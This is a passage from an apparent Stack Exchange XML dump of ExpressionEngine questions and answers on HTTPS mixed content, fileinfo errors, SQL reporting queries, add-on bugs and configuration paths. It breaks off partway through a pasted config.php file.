  <row Id="32866" PostTypeId="1" AcceptedAnswerId="34010" CreationDate="2015-08-31T09:55:12.430" Score="0" ViewCount="151" Body="&lt;p&gt;I have a problem with a channel form working over https.My form allows users edit their profiles for a staff directory and has a lot of fields including some assets , wygwam and matrix fields.When i go to the page over https all of those fields aren't working and i get errors like &#xA;&lt;pre&gt;&lt;code&gt;&#xA;Blocked loading mixed active content &quot;&lt;a href=&quot;http://mysite/themes/third_party/wygwam/lib/ckeditor/ckeditor.js&quot; rel=&quot;nofollow&quot;&gt;http://mysite/themes/third_party/wygwam/lib/ckeditor/ckeditor.js&lt;/a&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blocked loading mixed active content &quot;&lt;a href=&quot;http://mysite/themes/third_party/assets/scripts/matrix.min.js?2.5&quot; rel=&quot;nofollow&quot;&gt;http://mysite/themes/third_party/assets/scripts/matrix.min.js?2.5&lt;/a&gt;&quot;&#xA;&lt;/pre&gt;&lt;/code&gt;&#xA;So the obvious problem is that these fields are requesting files over http rather than https but im not sure why this is happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have setup my site to convert relative paths in my config &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;  $protocol                          = (isset($_SERVER['HTTPS']) &amp;&amp;     $_SERVER['HTTP'] == 'on') ? 'https://' : 'http://';&#xA;  $base_url                          = $protocol . $_SERVER['HTTP_HOST'];&#xA;  $base_path                         = $_SERVER['DOCUMENT_ROOT'];&#xA;  $system_folder                     = APPPATH . '../';&#xA;  $images_folder                     = 'images';&#xA;  $images_path                       = $base_path . '/' . $images_folder;&#xA;  $images_url                        = $base_url . '/' . $images_folder;&#xA;&#xA;  $env_config['index_page']          = '';&#xA;  $env_config['site_index']          = '';&#xA;  $env_config['base_url']            = $base_url . '/';&#xA;  $env_config['site_url']            = $env_config['base_url'];&#xA;  $env_config['cp_url']              = $env_config['base_url'] . &#xA;'admin/index.php';&#xA; $env_config['theme_folder_path']   = $base_path   . '/themes/';&#xA; $env_config['theme_folder_url']    = $base_url    . '/themes/';&#xA; $env_config['third_party_path']    = $base_path   '/admin/expressionengine/third_party/';&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have also set secure_return=&quot;yes&quot;  and secure_action=&quot;yes&quot; in my form header so im not sure where I am going wrong &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2015-09-14T13:56:29.080" Title="Https problem with channel form" Tags="|assets|safecracker|wygwam|ssl|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32867" PostTypeId="2" ParentId="32866" CreationDate="2015-08-31T13:21:35.957" Score="1" Body="&lt;p&gt;The issue is that your CP and themes folder are not set to run https.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure your cp url and themes folder are set to run https://&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll possibly run into the same thing with any &quot;ACT=&quot; urls if the protocols don't match.&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2015-08-31T13:21:35.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32869" PostTypeId="1" CreationDate="2015-08-31T14:45:21.320" Score="0" ViewCount="48" Body="&lt;p&gt;I have a somewhat puzzling situation where Solspace Supersearch (v.2.2.3, EE v2.10.1) times out on very specific search terms. I have tried running the SQL queries corresponding to the same search terms directly from mysql command line and these return pretty quickly (and the number of results is ~30, so this shouldn't be an I/O issue). I've also tried clearing the search log, but that didn't seem to help. I did notice that CPU usage goes through the roof for these searches, mainly for httpd but also for mysql. There doesn't seem to be anything unusual about the search terms that cause the timeouts, e.g. &quot;chili festival&quot; (but NOT &quot;chili peppers&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers on how I can start debugging this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Misha&lt;/p&gt;&#xA;" OwnerUserId="6569" LastActivityDate="2015-08-31T14:45:21.320" Title="Solspace super search times out on specific keywords" Tags="|solspace|supersearch|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32870" PostTypeId="1" AcceptedAnswerId="32871" CreationDate="2015-08-31T17:27:57.123" Score="2" ViewCount="773" Body="&lt;p&gt;I'm getting the same error as &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/31370/php-fileinfo-and-mimetype-php&quot;&gt;this question&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Call to undefined function&#xA;  EllisLab\ExpressionEngine\Library\Mime\finfo_open() in&#xA;  /home/foo/bar/EllisLab/ExpressionEngine/Library/Mime/MimeType.php on&#xA;  line 117&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are two suggestions offered (originally from an Ellis blog post):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;Login to your CP and go to Tools, then Utilities, then PHP Info. If you see --disable-fileinfo on that page (I recommend using your&#xA;  browser’s search function) then you will need to contact your host and&#xA;  have them provide a version of PHP with fileinfo not disabled (i.e.&#xA;  enabled).&lt;/li&gt;&#xA;  &lt;li&gt;Check your system/expressionengine/config/mimes.php file. If it does not contain $whitelist = array around line 31 you will need to&#xA;  upload a fresh copy.&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;... but I've checked both of those, and I'm still getting the same error. Any other suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm in a fresh install of EE 2.10.1, on a Dreamhost server running PHP 5.6.10.&lt;/p&gt;&#xA;" OwnerUserId="453" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2015-08-31T17:35:05.147" Title="Unresolved error with EE 2.10.1 and MimeType.php" Tags="|file-uploads|error|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32871" PostTypeId="2" ParentId="32870" CreationDate="2015-08-31T17:35:05.147" Score="4" Body="&lt;p&gt;I just encountered this, and found that I had to follow the instructions in &lt;a href=&quot;http://wiki.dreamhost.com/Fileinfo&quot; rel=&quot;nofollow&quot;&gt;this Dreamhost wiki entry&lt;/a&gt; to &lt;em&gt;truly&lt;/em&gt; enable &lt;code&gt;fileinfo&lt;/code&gt; functions. (The default &quot;shared&quot; &lt;code&gt;fileinfo&lt;/code&gt; support didn't cut it.)&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-08-31T17:35:05.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32872" PostTypeId="1" CreationDate="2015-08-31T18:04:56.060" Score="1" ViewCount="11" Body="&lt;p&gt;Is there a way to view stats broken per member group or individual member?&lt;/p&gt;&#xA;" OwnerUserId="6620" LastActivityDate="2015-09-01T02:31:16.657" Title="Solspace Tracker - by member group?" Tags="|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32873" PostTypeId="2" ParentId="32859" CreationDate="2015-08-31T19:13:35.120" Score="0" Body="&lt;p&gt;Keyword searches are inclusive by default (whether or not you see the &lt;strong&gt;+&lt;/strong&gt; or &lt;strong&gt;&amp;amp;&amp;amp;&lt;/strong&gt;), unless disabled with the &lt;a href=&quot;https://solspace.com/software/expressionengine/super_search/docs/results/#inclusive_keywords&quot; rel=&quot;nofollow&quot;&gt;inclusive_keywords&lt;/a&gt; parameter, but there isn't a way to automatically make custom field searches inclusive, aside from having the user actually type &amp;amp;&amp;amp; instead of space(s).&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-08-31T19:13:35.120" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32875" PostTypeId="1" CreationDate="2015-08-31T21:54:07.217" Score="0" ViewCount="90" Body="&lt;p&gt;this is the error page&#xA;&lt;a href=&quot;https://i.stack.imgur.com/CZn1Y.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CZn1Y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see the backend (I mean the Expression Engine control panel works perfect) but the front (the web site show a 500 error).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I add this to the web.config&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and now the 500 error turns to this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/R73qJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/R73qJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1791" LastEditorUserId="1791" LastEditDate="2015-08-31T22:14:19.103" LastActivityDate="2015-08-31T22:14:19.103" Title="500 Error on IIS front end" Tags="|iis|error-500|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32876" PostTypeId="1" AcceptedAnswerId="32877" CreationDate="2015-08-31T15:33:26.893" Score="1" ViewCount="187" Body="&lt;p&gt;I'm running EE v2.10.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a migration the File Manager, while selecting a file in an entry, stopped functioning. The File Manager opened via Content -&gt; Files -&gt; File manager gives no issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use the file manager via Content -&gt; Publish -&gt; Page(= channel name) -&gt; link 'Add File'. This opens the file manger popup. &#xA;The first thing that I notice is that the wrong channel image are being displayed. Secondly I'm not able to search. And at last the pagination does not work and refreshes the whole page and shows the error &quot;The page you requested was not found.&quot; The URL is changed to &lt;a href=&quot;http://sitename.dev/C=content_publish&amp;amp;M=filemanager_actions&amp;amp;action=directory_contents&amp;amp;tbl_offset=15&quot; rel=&quot;nofollow&quot;&gt;http://sitename.dev/C=content_publish&amp;amp;M=filemanager_actions&amp;amp;action=directory_contents&amp;amp;tbl_offset=15&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The console doesn't show any javascript errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I search for a solution and tried a couple of solutions, like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Clear all chache&lt;/li&gt;&#xA;&lt;li&gt;Deleted the themes folder and get a fresh version&lt;/li&gt;&#xA;&lt;li&gt;Run Module Updates&lt;/li&gt;&#xA;&lt;li&gt;Updated all extensions and modules&lt;/li&gt;&#xA;&lt;li&gt;Checked the configuration&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The following third party modules are installed (latest version):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;cp_css_js&lt;/li&gt;&#xA;&lt;li&gt;ending&lt;/li&gt;&#xA;&lt;li&gt;entry_type&lt;/li&gt;&#xA;&lt;li&gt;forms&lt;/li&gt;&#xA;&lt;li&gt;forms_linked&lt;/li&gt;&#xA;&lt;li&gt;loopee&lt;/li&gt;&#xA;&lt;li&gt;low_seg2cat&lt;/li&gt;&#xA;&lt;li&gt;publisher&lt;/li&gt;&#xA;&lt;li&gt;publisher_drivers&lt;/li&gt;&#xA;&lt;li&gt;publisher_language_control&lt;/li&gt;&#xA;&lt;li&gt;stash&lt;/li&gt;&#xA;&lt;li&gt;streeng&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm a bit lost on how to solve this since it appeared after a migration.&lt;/p&gt;&#xA;" OwnerUserId="6621" OwnerDisplayName="Stan" LastActivityDate="2015-08-31T22:14:36.910" Title="Expression Engine file manager - Error on browsing uploaded images" Tags="|image|file-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32877" PostTypeId="2" ParentId="32876" CreationDate="2015-08-31T22:14:36.910" Score="1" Body="&lt;p&gt;I just encountered this issue last week, and EllisLab confirmed it as a bug that can present itself under certain conditions (related to a special character in a file name causing &lt;code&gt;json_encode()&lt;/code&gt; to fail). They fixed it in my problem install, so if you have a support plan I'd suggest you open a ticket with them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kevin said it would be fixed in the next point release.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-08-31T22:14:36.910" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32878" PostTypeId="1" CreationDate="2015-09-01T02:03:24.483" Score="0" ViewCount="86" Body="&lt;p&gt;Looking at the File Field Uploads screen in Freeform, there are three links to the file, File Name (opens a modal), a Download button, and Front End Link.&lt;/p&gt;&#xA;&lt;p&gt;Only the Front End Link works for me. If I click on File Name the modal says:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The requested content cannot be loaded.&#xA;Please try again later.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;If I click on the Download button I get an EE error screen saying:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;An Error Was Encountered&lt;/p&gt;&#xA;&lt;p&gt;File filename.jpg does not exist.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;My directory isn't above webroot or anything like that - any reason why these other links to the file aren't working?&lt;/p&gt;&#xA;&lt;p&gt;It's Freeform 4.2.2 on EE 2.10.1&lt;/p&gt;&#xA;" OwnerUserId="6299" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2016-05-29T00:13:51.957" Title="Solspace Freeform File Upload links in CP" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32879" PostTypeId="2" ParentId="32872" CreationDate="2015-09-01T02:31:16.657" Score="1" Body="&lt;p&gt;Unfortunately that's not possible. Tracker tracks entry views, but doesn't collect information about the visiting user. Google Analytics or something open source such as &lt;a href=&quot;https://piwik.org/&quot; rel=&quot;nofollow&quot;&gt;Piwik&lt;/a&gt; could provide that kind of functionality.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-09-01T02:31:16.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32880" PostTypeId="1" CreationDate="2015-09-01T11:55:42.230" Score="0" ViewCount="28" Body="&lt;p&gt;All products on my store are entered excluding VAT/TAX. All Items are Taxable at 20%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're currently showing the prices on the site excluding VAT and VAT is added at the checkout. However, the site has been reported to the ASA (Advertising Standards Authority) and they have deemed that we need to show all prices Ex. and Inc. VAT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client has asked for a toggle that the user can select - however, I'm have trouble even simply showing the prices Including VAT... the &lt;code&gt;{price_inc_tax}&lt;/code&gt; doesn't appear to work even though I've set the TAX rule to apply to all products in all areas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone ever accomplished showing both Ex. and Inc. VAT/TAX on the page?&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2016-05-22T11:22:20.547" Title="Expresso Store Togging between Ex Tax and Inc Tax" Tags="|expresso-store|devdemon|expresso|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32881" PostTypeId="1" AcceptedAnswerId="32883" CreationDate="2015-09-01T15:46:56.500" Score="0" ViewCount="55" Body="&lt;p&gt;We have a basic query, which get us; cat_id, parent_id, cat_name and the total entry_count which is then displayed in the form of a report... the current query is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT c.cat_id, c.parent_id, c.cat_name, count(t.entry_id) AS entry_count&#xA;FROM exp_categories c&#xA;JOIN exp_category_posts p ON p.cat_id=c.cat_id&#xA;LEFT JOIN exp_channel_titles t ON p.entry_id=t.entry_id AND  t.channel_id IN (2,6,7,8,9,10)&#xA;WHERE c.group_id=1&#xA;GROUP BY c.cat_id&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works, however we also want to get the TOTAL view_count_one for all entries in a given category... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how this would be expanded to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="886" LastActivityDate="2015-09-01T19:24:16.963" Title="Total entry views for all entries in a given category" Tags="|database|query|count|query-module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32883" PostTypeId="2" ParentId="32881" CreationDate="2015-09-01T19:24:16.963" Score="2" Body="&lt;p&gt;You &lt;em&gt;should&lt;/em&gt; be able to simply add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SUM(t.view_count_one) as view_count&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... to your &lt;code&gt;SELECT&lt;/code&gt; statement.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-09-01T19:24:16.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32884" PostTypeId="1" CreationDate="2015-09-01T21:02:54.797" Score="1" ViewCount="145" Body="&lt;p&gt;We recently had a server failure that resulted in having to rebuild the server services. Ended up going from mySQL 5.1 to 5.6.23. Since that issue occurred, one of our clients is reporting that Calendar gives him this error when trying to create new events: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Database Error Occurred&#xA;Error Number: 1364&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Field 'last_date' doesn't have a default value&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Client reports that entry gets made, just doesn't have an date info in the Calendar field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's EE 2.8.1 and Calendar 1.8.9.  &lt;/p&gt;&#xA;" OwnerUserId="1007" LastActivityDate="2016-05-15T07:11:47.220" Title="Database Error 1364 in Solspace Calendar" Tags="|solspace-calendar|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32886" PostTypeId="1" AcceptedAnswerId="32889" CreationDate="2015-09-01T21:47:20.180" Score="0" ViewCount="124" Body="&lt;p&gt;I'm getting the following error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Fatal error: Call to undefined method CI_Config::site_prefs() in ...Dev/cms/ee.dev/system/expressionengine/libraries/Core.php on line 122&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My setup is as follows: MAMP, EE 2.10.1&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee.dev&#xA;- config&#xA;- public_html&#xA;- system&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Dev&lt;/code&gt; is my MAMP &lt;code&gt;htdocs&lt;/code&gt; folder and I have custom virtual hosts setup as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;VirtualHost *:80&amp;gt;&#xA;  DocumentRoot &quot;/Dev/cms/ee.dev/public_html/&quot;&#xA;  ServerName ee.dev&#xA;&amp;lt;/VirtualHost&amp;gt;&#xA;&#xA;&amp;lt;Directory &quot;/Dev/cms/ee.dev/public_html/&quot;&amp;gt;&#xA;        AllowOverride All&#xA;        Options -Indexes +FollowSymLinks&#xA;        Order allow,deny&#xA;        Allow from all&#xA;&amp;lt;/Directory&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I was originally getting another error, so I updated the system paths in the main &lt;code&gt;index.php&lt;/code&gt; and &lt;code&gt;admin.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changing &lt;code&gt;$system_path = './system';&lt;/code&gt; to &lt;code&gt;$system_path = '../system';&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3602" LastEditorUserId="3602" LastEditDate="2015-09-01T21:57:01.627" LastActivityDate="2015-09-02T00:28:32.790" Title="Focus Lab's EE Master Config Error with MAMP" Tags="|focus-lab-master-config|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32887" PostTypeId="1" CreationDate="2015-09-01T22:07:44.810" Score="0" ViewCount="138" Body="&lt;p&gt;Just getting starting with EE. I have a custom HTML5 theme I've been designing and would like to upload it to EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone please point me in the right direction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any great free tutorials would be helpful as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!! &lt;/p&gt;&#xA;" OwnerUserId="6624" LastActivityDate="2015-09-30T00:43:49.253" Title="Using Custom Themes" Tags="|themes|custom|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32888" PostTypeId="2" ParentId="32887" CreationDate="2015-09-02T00:26:57.077" Score="2" Body="&lt;p&gt;EE doesn't really have themes per se. You'd need to manually build out your content types and templates using the EE templating language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're looking on how to build for the first time, look no further than &lt;a href=&quot;http://www.train-ee.com/courseware/books/detail/building-an-expressionengine-2-site-small-business/&quot; rel=&quot;nofollow&quot;&gt;http://www.train-ee.com/courseware/books/detail/building-an-expressionengine-2-site-small-business/&lt;/a&gt; or &lt;a href=&quot;https://mijingo.com/products/screencasts/expressionengine-tutorial/&quot; rel=&quot;nofollow&quot;&gt;https://mijingo.com/products/screencasts/expressionengine-tutorial/&lt;/a&gt; - both excellent EE learning resources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2015-09-02T00:26:57.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32889" PostTypeId="2" ParentId="32886" CreationDate="2015-09-02T00:28:32.790" Score="0" Body="&lt;p&gt;don't use the sample config file from that repo. Here's the issue you seem to be experiencing &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config/issues/2&quot; rel=&quot;nofollow&quot;&gt;https://github.com/focuslabllc/ee-master-config/issues/2&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2015-09-02T00:28:32.790" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32890" PostTypeId="1" AcceptedAnswerId="33921" CreationDate="2015-09-02T10:23:42.047" Score="0" ViewCount="42" Body="&lt;p&gt;Can anyone please help me to determine how CartThrob orders are linked to site members?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are creating a custom data feed between the site and Sage for a particular project, however we are struggling to pinpoint the exact link(s) between the 3 DB tables below?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Orders&lt;/strong&gt; - exp_cartthrob_order_items&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Customers&lt;/strong&gt; - exp_member_data&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Products&lt;/strong&gt; - exp_channel_data&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1339" LastActivityDate="2015-09-04T03:33:27.897" Title="CartThrob - how are orders and members linked?" Tags="|cartthrob|members|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32891" PostTypeId="1" AcceptedAnswerId="34122" CreationDate="2015-09-02T10:33:00.443" Score="0" ViewCount="234" Body="&lt;p&gt;I upgraded Wygwam 2.7.0 to 3.3.3. I run module update and I cleared my browser's cache. I am getting the next errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Uncaught SyntaxError: Unexpected token ILLEGAL (ckeditor.js)&#xA;config.js:10 Uncaught ReferenceError: CKEDITOR is not defined (config.js)&#xA;wygwam.js:134 Uncaught SyntaxError: Unexpected token ILLEGAL (wygwam.js)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also I am getting the next error 9 times:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Uncaught ReferenceError: Wygwam is not defined&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The files ckeditor.js and wygwam.js are being loaded, so that should not be the problem. I read Channel Images could interfere with Wygwam, but I am not using that. Any ideas on this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I turned off all extensions and removed all modules. That didn't made a difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I changed the code in ckeditor.js, but the code did not update in the browser. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that I changed the file names to ckeditor-b.js and wygwam-b.js and referred in the code to the new files. After this change the new code loads in the browser and the errors I first had, disappeared. But now I have new errors. All of the new errors refer to paths that don't exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I reversed the changes I made in Wygwam.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess I need to use a timestamp like specified &lt;a href=&quot;https://stackoverflow.com/questions/14940452/force-ckeditor-to-refresh-config&quot;&gt;in this link&lt;/a&gt;. I tried it by placing it in config.js, but that file does not load in the first place because ckeditor is undefined. Where would the correct placement be?&lt;/p&gt;&#xA;" OwnerUserId="6205" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2015-09-29T05:59:01.417" Title="Wygwam / ckeditor errors on upgrade" Tags="|pixelandtonic|wygwam|ckeditor|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32892" PostTypeId="1" CreationDate="2015-09-02T10:34:11.877" Score="0" ViewCount="182" Body="&lt;p&gt;My base template path doesn't appear to be working, and I'm not quite sure what I should have in the &lt;code&gt;system/../config.php&lt;/code&gt; file? (I started with a &lt;code&gt;config.php&lt;/code&gt; file from another project that doesn't use the Focus labs master config.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My &lt;code&gt;config.master.php&lt;/code&gt; is unchanged. I can access the CP but templates don't seem to be loading despite the master config: &lt;code&gt;$env_config['tmpl_file_basepath'] = $base_path . '/../templates';&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My setup is on MAMP with vhosts, and looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee.dev&#xA;- config&#xA;- public_html&#xA;- system&#xA;- templates&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;system/config/config.php&lt;/code&gt; is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');&#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| ExpressionEngine Config Items&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| The following items are for use with ExpressionEngine.  The rest of&#xA;| the config items are for use with CodeIgniter, some of which are not&#xA;| observed by ExpressionEngine, e.g. 'permitted_uri_chars'&#xA;|&#xA;*/&#xA;&#xA;$config['app_version'] = '2.10.1';&#xA;$config['install_lock'] = &quot;&quot;;&#xA;$config['license_number'] = &quot;XXXX-XXXX-XXXX-XXXX&quot;;&#xA;$config['site_label'] = 'ee';&#xA;$config['cookie_prefix'] = '';&#xA;$config['cache_path'] = '';&#xA;&#xA;$config['mail_protocol']= &quot;smtp&quot;;&#xA;$config['smtp_server']  = &quot;smtp.postmarkapp.com&quot;;&#xA;$config['smtp_port']    = &quot;25&quot;;&#xA;$config['cookie_httponly'] = 'y';&#xA;$config['hidden_template_indicator'] = '.';&#xA;$config['cache_driver'] = 'file';&#xA;&#xA;// END EE config items&#xA;&#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| Index File&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| Typically this will be your index.php file, unless you've renamed it to&#xA;| something else. If you are using mod_rewrite to remove the page set this&#xA;| variable so that it is blank.&#xA;|&#xA;*/&#xA;$config['index_page'] = &quot;&quot;;&#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| URI PROTOCOL&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| This item determines which server global should be used to retrieve the&#xA;| URI string.  The default setting of &quot;AUTO&quot; works for most servers.&#xA;| If your links do not seem to work, try one of the other delicious flavors:&#xA;|&#xA;| 'AUTO'            Default - auto detects&#xA;| 'PATH_INFO'       Uses the PATH_INFO&#xA;| 'QUERY_STRING'    Uses the QUERY_STRING&#xA;| 'REQUEST_URI'     Uses the REQUEST_URI&#xA;| 'ORIG_PATH_INFO'  Uses the ORIG_PATH_INFO&#xA;|&#xA;*/&#xA;$config['uri_protocol'] = 'AUTO';&#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| URL suffix&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| This option allows you to add a suffix to all URLs generated by CodeIgniter.&#xA;| For more information please see the user guide:&#xA;|&#xA;| http://codeigniter.com/user_guide/general/urls.html&#xA;*/&#xA;&#xA;$config['url_suffix'] = '';&#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| Default Language&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| This determines which set of language files should be used. Make sure&#xA;| there is an available translation if you intend to use something other&#xA;| than 